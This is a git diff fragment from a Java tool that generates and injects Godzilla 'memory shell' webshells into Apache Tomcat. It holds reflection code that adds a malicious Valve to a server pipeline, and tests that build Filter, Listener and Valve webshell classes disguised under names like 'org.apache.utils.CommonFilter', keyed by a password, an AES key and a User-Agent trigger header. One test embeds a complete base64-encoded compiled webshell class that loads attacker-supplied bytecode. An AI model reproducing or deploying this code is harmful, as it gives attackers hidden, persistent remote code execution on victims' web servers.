base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + + @SuppressWarnings("all") + public boolean isInjected(Object context, String valveClassName) throws Exception { + Object obj = invokeMethod(context, "getPipeline"); + Object[] valves = (Object[]) invokeMethod(obj, "getValves"); + List valvesList = Arrays.asList(valves); + for (Object valve : valvesList) { + if (valve.getClass().getName().contains(valveClassName)) { + return true; + } + } + return false; + } + + @SuppressWarnings("all") + public void injectValve(Object context, Object valve) throws Exception { + if (isInjected(context, valve.getClass().getName())) { + return; + } + try { + Class ValveClass; + try { + ValveClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve"); + } catch (Exception e) { + ValveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); + } + Object obj = invokeMethod(context, "getPipeline"); + // Object obj = STANDARD_CONTEXT.getClass().getMethod("getPipeline").invoke(STANDARD_CONTEXT); + // obj.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve")).invoke(obj,evilValve); + invokeMethod(obj, "addValve", new Class[]{ValveClass}, new Object[]{valve}); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @SuppressWarnings("all") + private static synchronized Object getFV(Object var0, String var1) throws Exception { + Field var2 = null; + Class var3 = var0.getClass(); + + while (var3 != Object.class) { + try { + var2 = var3.getDeclaredField(var1); + break; + } catch (NoSuchFieldException var5) { + var3 = var3.getSuperclass(); + } + } + + if (var2 == null) { + throw new NoSuchFieldException(var1); + } else { + var2.setAccessible(true); + return var2.get(var0); + } + } + + private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java index 4d13b2ea..c8544b72 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java @@ -28,33 +28,8 @@ class GodzillaGeneratorTest { @Test @Disabled("just for generate") void testGenerate() throws IOException { - System.out.println("hello"); String className = "org.apache.utils.CommonFilter"; byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue); IOUtils.write(bytes, Files.newOutputStream(Paths.get("CommonFilter.class"))); } - - @Test - void generateFilter() { - String className = "org.apache.utils.CommonFilter"; - byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue); - Object obj = ClassUtils.newInstance(bytes); - assertEquals(className, obj.getClass().getName()); - assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); - assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key")); - assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); - assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); - } - - @Test - void generateListener() { - String className = "org.apache.utils.CommonListener"; - byte[] bytes = godzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue); - Object obj = ClassUtils.newInstance(bytes); - assertEquals(className, obj.getClass().getName()); - assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); - assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key")); - assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); - assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); - } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilterTest.java new file mode 100644 index 00000000..36d91f0c --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilterTest.java @@ -0,0 +1,40 @@ +package com.reajason.javaweb.memsell.tomcat.godzilla; + +import com.reajason.javaweb.memsell.GodzillaGenerator; +import com.reajason.javaweb.util.ClassUtils; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.io.IOUtils; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Paths; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +class GodzillaFilterTest { + + GodzillaGenerator godzillaGenerator = new GodzillaGenerator(); + String pass = "pass"; + String key = "key"; + String headerName = "User-Agent"; + String headerValue = "test"; + + @Test + void generate() { + String className = "org.apache.utils.CommonFilter"; + byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(className, obj.getClass().getName()); + assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); + assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key")); + assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); + assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); + System.out.println(Base64.encodeBase64String(bytes)); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilterTest.java new file mode 100644 index 00000000..215a0c1c --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilterTest.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.memsell.tomcat.godzilla; + +import com.reajason.javaweb.memsell.GodzillaGenerator; +import com.reajason.javaweb.util.ClassUtils; +import org.apache.commons.codec.binary.Base64; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +class GodzillaJakartaFilterTest { + + GodzillaGenerator godzillaGenerator = new GodzillaGenerator(); + String pass = "pass"; + String key = "key"; + String headerName = "User-Agent"; + String headerValue = "test"; + + @Test + void generate() { + String className = "org.apache.utils.CommonJakartaFilter"; + byte[] bytes = godzillaGenerator.generate(GodzillaJakartaFilter.class, className, pass, key, headerName, headerValue); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(className, obj.getClass().getName()); + assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); + assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key")); + assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); + assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); + System.out.println(Base64.encodeBase64String(bytes)); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListenerTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListenerTest.java new file mode 100644 index 00000000..9b3675af --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListenerTest.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.memsell.tomcat.godzilla; + +import com.reajason.javaweb.memsell.GodzillaGenerator; +import com.reajason.javaweb.util.ClassUtils; +import org.apache.commons.codec.binary.Base64; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +class GodzillaJakartaListenerTest { + + GodzillaGenerator godzillaGenerator = new GodzillaGenerator(); + String pass = "pass"; + String key = "key"; + String headerName = "User-Agent"; + String headerValue = "test"; + + @Test + void generate() { + String className = "org.apache.utils.CommonJakartaListener"; + byte[] bytes = godzillaGenerator.generate(GodzillaJakartaListener.class, className, pass, key, headerName, headerValue); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(className, obj.getClass().getName()); + assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); + assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key")); + assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); + assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); + System.out.println(Base64.encodeBase64String(bytes)); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListenerTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListenerTest.java new file mode 100644 index 00000000..b880b1e2 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListenerTest.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.memsell.tomcat.godzilla; + +import com.reajason.javaweb.memsell.GodzillaGenerator; +import com.reajason.javaweb.util.ClassUtils; +import org.apache.commons.codec.binary.Base64; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +class GodzillaListenerTest { + + GodzillaGenerator godzillaGenerator = new GodzillaGenerator(); + String pass = "pass"; + String key = "key"; + String headerName = "User-Agent"; + String headerValue = "test"; + + @Test + void generate() { + String className = "org.apache.utils.CommonListener"; + byte[] bytes = godzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(className, obj.getClass().getName()); + assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); + assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key")); + assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); + assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); + System.out.println(Base64.encodeBase64String(bytes)); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java new file mode 100644 index 00000000..291ac89e --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java @@ -0,0 +1,33 @@ +package com.reajason.javaweb.memsell.tomcat.godzilla; + +import com.reajason.javaweb.memsell.GodzillaGenerator; +import com.reajason.javaweb.util.ClassUtils; +import org.apache.commons.codec.binary.Base64; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +class GodzillaValveTest { + GodzillaGenerator godzillaGenerator = new GodzillaGenerator(); + String pass = "pass"; + String key = "key"; + String headerName = "User-Agent"; + String headerValue = "test"; + + @Test + void generate() { + String className = "org.apache.utils.CommonValve"; + byte[] bytes = godzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(className, obj.getClass().getName()); + assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); + assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key")); + assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); + assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); + System.out.println(Base64.encodeBase64String(bytes)); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/InjectorGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjectorTest.java similarity index 50% rename from generator/src/test/java/com/reajason/javaweb/memsell/InjectorGeneratorTest.java rename to generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjectorTest.java index a2b3385a..cdee3e28 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/InjectorGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjectorTest.java @@ -1,11 +1,10 @@ -package com.reajason.javaweb.memsell; +package com.reajason.javaweb.memsell.tomcat.injector; -import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector; +import com.reajason.javaweb.memsell.InjectorGenerator; import com.reajason.javaweb.util.ClassUtils; import com.reajason.javaweb.util.CommonUtil; import lombok.SneakyThrows; import org.apache.commons.codec.binary.Base64; -import org.apache.commons.io.IOUtils; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertEquals; @@ -14,16 +13,16 @@ import static org.junit.jupiter.api.Assertions.assertEquals; * @author ReaJason * @since 2024/11/24 */ -class InjectorGeneratorTest { +class TomcatFilterInjectorTest { InjectorGenerator injectorGenerator = new InjectorGenerator(); @Test @SneakyThrows - void generateGodzilla() { + void generate() { byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQBNgoARQCgCgBFAKEKAEUAoggAowoApAClBwCmCQAaAKcKAD4AqAoABgCpCgCkAKoKAKQAqwcArAcArQcArgkAGgCvCwANALAJABoAsQoAPgCyCwANALMJABoAtAsADQC1CgAaALYKABoAtwgAuAsAuQC6BwC7CgA9ALwKACQAvQoAGgChCgAaAL4LALkAvwgAwAsADQC/BwDBCgAiAKAHAMIKACQAwwcAxAcAxQcAxgoAKADHCgA9AMgLAA4AyQkAGgDKCgA+AMsKAMwAzQoAPQDOCgAiAM8KABoA0AoAPgDRCwDSANMIANQKACQA1QgA1gcA1woAJADYBwDZCgDaANsIANwHAFoHAN0HAN4IAN8IAOAIAOEIAOIIAOMIAOQHAOUHAOYBAANrZXkBABJMamF2YS9sYW5nL1N0cmluZzsBAARwYXNzAQADbWQ1AQAKaGVhZGVyTmFtZQEAC2hlYWRlclZhbHVlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAD1MY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFGaWx0ZXI7AQAaKExqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBAAF6AQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAFRAQAVKFtCKUxqYXZhL2xhbmcvQ2xhc3M7AQACY2IBAAJbQgEACVNpZ25hdHVyZQEAGChbQilMamF2YS9sYW5nL0NsYXNzPCo+OwEAAXgBAAcoW0JaKVtCAQABYwEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABHZhcjQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAFzAQABbQEAAVoBAA1TdGFja01hcFRhYmxlBwC7BwDnBwCsAQAIZG9GaWx0ZXIBAFsoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlO0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOylWAQABZgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAAWUBAChMamF2YS9sYW5nL1JlZmxlY3RpdmVPcGVyYXRpb25FeGNlcHRpb247AQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB3Nlc3Npb24BACBMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEABGRhdGEBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAVjaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsHAOgHAOkHAOoHAK0HAK4HAOsHAMEHAOwHAN0BAApFeGNlcHRpb25zBwDtBwDuAQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAHZGVzdHJveQEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdlbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAR2YXI2AQACYnMBAAV2YWx1ZQEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABRMamF2YS9sYW5nL0NsYXNzPCo+OwcA3gEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQAKU291cmNlRmlsZQEAE0dvZHppbGxhRmlsdGVyLmphdmEMAE0ATgwATQBUDADvAPABAANBRVMHAOcMAPEA8gEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMMAEcASAwA8wD0DABNAPUMAIsA9gwA9wD4AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwASwBIDAD5APoMAEwASAwA+wD8DAD9AP4MAEkASAwA/wD6DACbAJwMAF0AXgEAB3BheWxvYWQHAOsMAQABAQEAO2NvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2dvZHppbGxhL0dvZHppbGxhRmlsdGVyDAECAQMMAQQBBQwAVwBYDAEGAQcBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BAA9qYXZhL2xhbmcvQ2xhc3MMAQgBCQEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwATQEKDAELAQwMAQ0BDgwASgBIDAEPARAHAREMARIBEwwBFAEVDAEWAPQMAJAAkQwBDwEXBwDqDABqARgBABBqYXZhLnV0aWwuQmFzZTY0DAEZARoBAApnZXRFbmNvZGVyAQASW0xqYXZhL2xhbmcvQ2xhc3M7DAEbARwBABNbTGphdmEvbGFuZy9PYmplY3Q7BwEdDAEeAR8BAA5lbmNvZGVUb1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQAWc3VuLm1pc2MuQkFTRTY0RW5jb2RlcgEABmVuY29kZQEACmdldERlY29kZXIBAAZkZWNvZGUBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyAQAMZGVjb2RlQnVmZmVyAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEAJmphdmEvbGFuZy9SZWZsZWN0aXZlT3BlcmF0aW9uRXhjZXB0aW9uAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAYoW0IpW0IBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9CeXRlQXJyYXkBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAEAoTGphdmF4L3NlcnZsZXQvU2Vydmxl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"); String shellClassName = "org.apache.utils.CommonFilter"; - String injectClassName = "org.junit.jupiter.InjectUtil"; + String injectClassName = this.getClass().getName() + "1"; byte[] bytes = injectorGenerator.generate(TomcatFilterInjector.class, injectClassName, shellClassName, shellBytes, "/*"); Object obj = ClassUtils.newInstance(bytes); assertEquals(injectClassName, obj.getClass().getName()); 